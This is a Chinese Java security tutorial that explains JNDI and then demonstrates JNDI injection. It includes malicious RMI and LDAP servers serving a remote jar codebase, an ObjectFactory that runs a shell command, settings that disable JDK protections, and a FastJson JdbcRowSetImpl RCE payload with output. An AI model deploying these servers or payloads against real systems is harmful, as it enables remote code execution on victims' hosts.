JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

更多JNDI相关概念参考: Java技术回顾之JNDI:命名和目录服务基本概念

JNDI目录服务

访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI上下文(Context)时未指定环境变量对象,JNDI会自动搜索系统属性(System.getProperty())applet 参数应用程序资源文件(jndi.properties)

使用JNDI创建目录服务对象代码片段:

  1. // 创建环境变量对象
  2. Hashtable env = new Hashtable();
  3. // 设置JNDI初始化工厂类名
  4. env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");
  5. // 设置JNDI提供服务的URL地址
  6. env.put(Context.PROVIDER_URL, "url");
  7. // 创建JNDI目录服务对象
  8. DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理,JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务。

javax.naming.spi.InitialContextFactory:

  1. package javax.naming.spi;
  2. public interface InitialContextFactory {
  3. public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;
  4. }

JNDI-DNS解析

JNDI支持访问DNS服务,注册环境变量时设置JNDI服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory即可。

com.sun.jndi.dns.DnsContextFactory代码片段:

  1. package com.sun.jndi.dns;
  2. public class DnsContextFactory implements InitialContextFactory {
  3. // 获取处理DNS的JNDI上下文对象
  4. public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {
  5. if (var1 == null) {
  6. var1 = new Hashtable(5);
  7. }
  8. return urlToContext(getInitCtxUrl(var1), var1);
  9. }
  10. // 省去其他无关方法和变量
  11. }

使用JNDI解析DNS测试:

  1. package com.anbai.sec.jndi;
  2. import javax.naming.Context;
  3. import javax.naming.NamingException;
  4. import javax.naming.directory.Attributes;
  5. import javax.naming.directory.DirContext;
  6. import javax.naming.directory.InitialDirContext;
  7. import java.util.Hashtable;
  8. /**
  9. * Creator: yz
  10. * Date: 2019/12/23
  11. */
  12. public class DNSContextFactoryTest {
  13. public static void main(String[] args) {
  14. // 创建环境变量对象
  15. Hashtable env = new Hashtable();
  16. // 设置JNDI初始化工厂类名
  17. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
  18. // 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址
  19. env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");
  20. try {
  21. // 创建JNDI目录服务对象
  22. DirContext context = new InitialDirContext(env);
  23. // 获取DNS解析记录测试
  24. Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
  25. Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});
  26. System.out.println(attrs1);
  27. System.out.println(attrs2);
  28. } catch (NamingException e) {
  29. e.printStackTrace();
  30. }
  31. }
  32. }

程序运行结果:

  1. {a=A: 39.156.69.79, 220.181.38.148}
  2. {a=A: 125.39.52.26, 58.247.214.47, 58.250.137.36}

JNDI-RMI远程方法调用

RMI的服务处理工厂类是:com.sun.jndi.rmi.registry.RegistryContextFactory,在调用远程的RMI方法之前需要先启动RMI服务:com.anbai.sec.rmi.RMIServerTest,启动完成后就可以使用JNDI连接并调用了。

使用JNDI解析调用远程RMI方法测试:

  1. package com.anbai.sec.jndi;
  2. import com.anbai.sec.rmi.RMITestInterface;
  3. import javax.naming.Context;
  4. import javax.naming.NamingException;
  5. import javax.naming.directory.DirContext;
  6. import javax.naming.directory.InitialDirContext;
  7. import java.rmi.RemoteException;
  8. import java.util.Hashtable;
  9. import static com.anbai.sec.rmi.RMIServerTest.*;
  10. /**
  11. * Creator: yz
  12. * Date: 2019/12/24
  13. */
  14. public class RMIRegistryContextFactoryTest {
  15. public static void main(String[] args) {
  16. String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
  17. // 创建环境变量对象
  18. Hashtable env = new Hashtable();
  19. // 设置JNDI初始化工厂类名
  20. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  21. // 设置JNDI提供服务的URL地址
  22. env.put(Context.PROVIDER_URL, providerURL);
  23. // 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo
  24. try {
  25. // 创建JNDI目录服务对象
  26. DirContext context = new InitialDirContext(env);
  27. // 通过命名服务查找远程RMI绑定的RMITestInterface对象
  28. RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);
  29. // 调用远程的RMITestInterface接口的test方法
  30. String result = testInterface.test();
  31. System.out.println(result);
  32. } catch (NamingException e) {
  33. e.printStackTrace();
  34. } catch (RemoteException e) {
  35. e.printStackTrace();
  36. }
  37. }
  38. }

程序执行结果:

  1. Hello RMI~

JNDI-LDAP

LDAP的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory,连接LDAP之前需要配置好远程的LDAP服务。

使用JNDI创建LDAP连接测试:

  1. package com.anbai.sec.jndi;
  2. import javax.naming.Context;
  3. import javax.naming.directory.DirContext;
  4. import javax.naming.directory.InitialDirContext;
  5. import java.util.Hashtable;
  6. /**
  7. * Creator: yz
  8. * Date: 2019/12/24
  9. */
  10. public class LDAPFactoryTest {
  11. public static void main(String[] args) {
  12. try {
  13. // 设置用户LDAP登陆用户DN
  14. String userDN = "cn=Manager,dc=javaweb,dc=org";
  15. // 设置登陆用户密码
  16. String password = "123456";
  17. // 创建环境变量对象
  18. Hashtable<String, Object> env = new Hashtable<String, Object>();
  19. // 设置JNDI初始化工厂类名
  20. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
  21. // 设置JNDI提供服务的URL地址
  22. env.put(Context.PROVIDER_URL, "ldap://localhost:389");
  23. // 设置安全认证方式
  24. env.put(Context.SECURITY_AUTHENTICATION, "simple");
  25. // 设置用户信息
  26. env.put(Context.SECURITY_PRINCIPAL, userDN);
  27. // 设置用户密码
  28. env.put(Context.SECURITY_CREDENTIALS, password);
  29. // 创建LDAP连接
  30. DirContext ctx = new InitialDirContext(env);
  31. // 使用ctx可以查询或存储数据,此处省去业务代码
  32. ctx.close();
  33. } catch (Exception e) {
  34. e.printStackTrace();
  35. }
  36. }
  37. }

JNDI-DataSource

JNDI连接数据源比较特殊,Java目前不提供内置的实现方法,提供数据源服务的多是Servlet容器,这里我们以Tomcat为例学习如何在应用服务中使用JNDI查找容器提供的数据源。

Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:Tomcat JNDI Datasource,这里我们在Tomcatconf/context.xml中添加如下配置:

  1. <Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
  2. maxTotal="100" maxIdle="30" maxWaitMillis="10000"
  3. username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
  4. url="jdbc:mysql://localhost:3306/mysql"/>

然后我们需要下载好Mysql的JDBC驱动包并复制到Tomcatlib目录:

  1. wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"

配置好数据源之后我们重启Tomcat服务就可以使用JNDI的方式获取DataSource了。

使用JNDI获取数据源并查询数据库测试:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="javax.naming.Context" %>
  3. <%@ page import="javax.naming.InitialContext" %>
  4. <%@ page import="javax.sql.DataSource" %>
  5. <%@ page import="java.sql.Connection" %>
  6. <%@ page import="java.sql.ResultSet" %>
  7. <%
  8. // 初始化JNDIContext
  9. Context context = new InitialContext();
  10. // 搜索Tomcat注册的JNDI数据库连接池对象
  11. DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");
  12. // 获取数据库连接
  13. Connection connection = dataSource.getConnection();
  14. // 查询SQL语句并返回结果
  15. ResultSet rs = connection.prepareStatement("select version()").executeQuery();
  16. // 获取数据库查询结果
  17. while (rs.next()) {
  18. out.println(rs.getObject(1));
  19. }
  20. rs.close();
  21. %>

访问tomcat-datasource-lookup.jsp输出: 5.7.28,需要注意的是示例jsp中的Demo使用了系统的环境变量所以并不需要在创建context的时候传入环境变量对象。Tomcat在启动的时候会设置JNDI变量信息,处理JNDI服务的类是org.apache.naming.java.javaURLContextFactory,所以在jsp中我们可以直接创建context

JNDI-协议转换

如果JNDIlookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。

JNDI默认支持自动转换的协议有:

协议名称 协议URL Context类
DNS协议 dns:// com.sun.jndi.url.dns.dnsURLContext
RMI协议 rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP协议 ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP协议 ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP对象请求代理协议 iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP对象请求代理协议 iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP对象请求代理协议 corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

RMI示例代码片段:

  1. // 创建JNDI目录服务上下文
  2. InitialContext context = new InitialContext();
  3. // 查找JNDI目录服务绑定的对象
  4. Object obj = context.lookup("rmi://127.0.0.1:9527/test");

示例代码通过lookup会自动使用rmiURLContext处理RMI请求。

JNDI-Reference

JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。

RMI/LDAP远程对象引用安全限制

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

  1. System.setProperty("java.rmi.server.useCodebaseOnly", "false");
  2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在启动Java程序时候指定-D参数-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

LDAPJDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false

高版本JDK可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用

使用创建恶意的ObjectFactory对象

JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。

对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

ReferenceObjectFactory示例代码:

  1. package com.anbai.sec.jndi.injection;
  2. import javax.naming.Context;
  3. import javax.naming.Name;
  4. import javax.naming.spi.ObjectFactory;
  5. import java.util.Hashtable;
  6. /**
  7. * 引用对象创建工厂
  8. */
  9. public class ReferenceObjectFactory implements ObjectFactory {
  10. /**
  11. * @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
  12. * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
  13. * @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
  14. * @param env 创建对象时使用的环境(可能为 null)。
  15. * @return 对象工厂创建出的对象
  16. * @throws Exception 对象创建异常
  17. */
  18. public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
  19. // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
  20. return Runtime.getRuntime().exec("curl localhost:9000");
  21. }
  22. }

创建恶意的RMI服务

如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的RMI服务端代码:

  1. package com.anbai.sec.jndi.injection;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.Naming;
  5. import java.rmi.registry.LocateRegistry;
  6. import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
  7. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
  8. /**
  9. * Creator: yz
  10. * Date: 2019/12/25
  11. */
  12. public class RMIReferenceServerTest {
  13. public static void main(String[] args) {
  14. try {
  15. // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
  16. String url = "http://p2j.cn/tools/jndi-test.jar";
  17. // 对象的工厂类名
  18. String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
  19. // 监听RMI服务端口
  20. LocateRegistry.createRegistry(RMI_PORT);
  21. // 创建一个远程的JNDI对象工厂类的引用对象
  22. Reference reference = new Reference(className, className, url);
  23. // 转换为RMI引用对象
  24. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  25. // 绑定一个恶意的Remote对象到RMI服务
  26. Naming.bind(RMI_NAME, referenceWrapper);
  27. System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  28. } catch (Exception e) {
  29. e.printStackTrace();
  30. }
  31. }
  32. }

程序运行结果:

  1. RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

启动完RMIReferenceServerTest后在本地监听9000端口测试客户端调用RMI方法后是否执行了curl localhost:9000命令。

使用nc监听端口:

  1. nc -vv -l 9000

RMI客户端代码:

  1. package com.anbai.sec.jndi.injection;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
  5. /**
  6. * Creator: yz
  7. * Date: 2019/12/25
  8. */
  9. public class RMIReferenceClientTest {
  10. public static void main(String[] args) {
  11. try {
  12. // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
  13. // System.setProperty("java.rmi.server.useCodebaseOnly", "false");
  14. // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  15. InitialContext context = new InitialContext();
  16. // 获取RMI绑定的恶意ReferenceWrapper对象
  17. Object obj = context.lookup(RMI_NAME);
  18. System.out.println(obj);
  19. } catch (NamingException e) {
  20. e.printStackTrace();
  21. }
  22. }
  23. }

程序运行结果:

  1. Process[pid=8634, exitValue="not exited"]

客户端执行成功后可以在nc中看到来自客户端的curl请求:

  1. GET / HTTP/1.1
  2. Host: localhost:9000
  3. User-Agent: curl/7.64.1
  4. Accept: */*

上面的示例演示了在JVM默认允许加载远程RMI引用对象所带来的RCE攻击,但在真实的环境下由于发起RMI请求的客户端的JDK版本大于我们的测试要求或者网络限制等可能会导致攻击失败。

创建恶意的LDAP服务

LDAPRMI同理,测试方法也同上。启动LDAP服务端程序后我们会在LDAP请求中返回一个含有恶意攻击代码的对象工厂的远程jar地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的LDAP服务端代码:

  1. package com.anbai.sec.jndi.injection;
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  3. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  4. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  6. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  7. import com.unboundid.ldap.sdk.Entry;
  8. import com.unboundid.ldap.sdk.LDAPResult;
  9. import com.unboundid.ldap.sdk.ResultCode;
  10. import javax.net.ServerSocketFactory;
  11. import javax.net.SocketFactory;
  12. import javax.net.ssl.SSLSocketFactory;
  13. import java.net.InetAddress;
  14. public class LDAPReferenceServerTest {
  15. // 设置LDAP服务端口
  16. public static final int SERVER_PORT = 3890;
  17. // 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
  18. public static final String BIND_HOST = "127.0.0.1";
  19. // 设置一个实体名称
  20. public static final String LDAP_ENTRY_NAME = "test";
  21. // 获取LDAP服务地址
  22. public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;
  23. // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
  24. public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";
  25. // 设置LDAP基底DN
  26. private static final String LDAP_BASE = "dc=javasec,dc=org";
  27. public static void main(String[] args) {
  28. try {
  29. // 创建LDAP配置对象
  30. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  31. // 设置LDAP监听配置信息
  32. config.setListenerConfigs(new InMemoryListenerConfig(
  33. "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
  34. ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
  35. (SSLSocketFactory) SSLSocketFactory.getDefault())
  36. );
  37. // 添加自定义的LDAP操作拦截器
  38. config.addInMemoryOperationInterceptor(new OperationInterceptor());
  39. // 创建LDAP服务对象
  40. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  41. // 启动服务
  42. ds.startListening();
  43. System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
  44. } catch (Exception e) {
  45. e.printStackTrace();
  46. }
  47. }
  48. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  49. @Override
  50. public void processSearchResult(InMemoryInterceptedSearchResult result) {
  51. String base = result.getRequest().getBaseDN();
  52. Entry entry = new Entry(base);
  53. try {
  54. // 设置对象的工厂类名
  55. String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
  56. entry.addAttribute("javaClassName", className);
  57. entry.addAttribute("javaFactory", className);
  58. // 设置远程的恶意引用对象的jar地址
  59. entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);
  60. // 设置LDAP objectClass
  61. entry.addAttribute("objectClass", "javaNamingReference");
  62. result.sendSearchEntry(entry);
  63. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  64. } catch (Exception e1) {
  65. e1.printStackTrace();
  66. }
  67. }
  68. }
  69. }

程序运行结果:

  1. LDAP服务启动成功,服务地址:ldap://127.0.0.1:3890/test

LDAP客户端代码:

  1. package com.anbai.sec.jndi.injection;
  2. import javax.naming.Context;
  3. import javax.naming.InitialContext;
  4. import javax.naming.NamingException;
  5. import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;
  6. /**
  7. * Creator: yz
  8. * Date: 2019/12/27
  9. */
  10. public class LDAPReferenceClientTest {
  11. public static void main(String[] args) {
  12. try {
  13. // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
  14. // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  15. Context ctx = new InitialContext();
  16. // 获取RMI绑定的恶意ReferenceWrapper对象
  17. Object obj = ctx.lookup(LDAP_URL);
  18. System.out.println(obj);
  19. } catch (NamingException e) {
  20. e.printStackTrace();
  21. }
  22. }
  23. }

程序运行结果:

  1. java.lang.UNIXProcess@184f6be2

JNDI注入漏洞利用

2016年BlackHat大会上us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf提到了包括RMILDAPCORBAJNDI注入方式攻击方式被广泛的利用于近年来的各种JNDI注入漏洞。

触发JNDI注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI服务,且lookup的参数值可控、JDK版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。

示例代码:

  1. Context ctx = new InitialContext();
  2. // 获取RMI绑定的恶意ReferenceWrapper对象
  3. Object obj = ctx.lookup("注入JNDI服务URL");

我们只需间接的找到调用了JNDIlookup方法的类且lookupURL可被我们恶意控制的后端接口或者服务即可利用。

FastJson 反序列化JNDI注入示例

比较典型的漏洞有FastJsonJNDI注入漏洞,FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java类(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE

JdbcRowSetImpl示例:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
  3. <%
  4. JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
  5. jdbcRowSet.setDataSourceName(request.getParameter("url"));
  6. jdbcRowSet.setAutoCommit(true);
  7. %>

假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceNamesetAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:

  1. 反射创建com.sun.rowset.JdbcRowSetImpl对象。
  2. 反射调用setDataSourceName方法,设置JNDIURL
  3. 反射调用setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
  4. 调用lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。
  5. 执行恶意的类对象工厂方法实现RCE。

FastJson JdbcRowSetImpl Payload:

  1. {
  2. "@type": "com.sun.rowset.JdbcRowSetImpl",
  3. "dataSourceName": "ldap://127.0.0.1:3890/test",
  4. "autoCommit": "true"
  5. }

FastJson JNDI测试代码:

  1. package com.anbai.sec.jndi.injection;
  2. import com.alibaba.fastjson.JSON;
  3. /**
  4. * Creator: yz
  5. * Date: 2019/12/28
  6. */
  7. public class FastJsonRCETest {
  8. public static void main(String[] args) {
  9. // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
  10. // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  11. String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";
  12. Object obj = JSON.parse(json);
  13. System.out.println(obj);
  14. }
  15. }

程序执行后nc会接收到本机的curl请求表明漏洞已利用成功:

  1. GET / HTTP/1.1
  2. Host: localhost:9000
  3. User-Agent: curl/7.64.1
  4. Accept: */*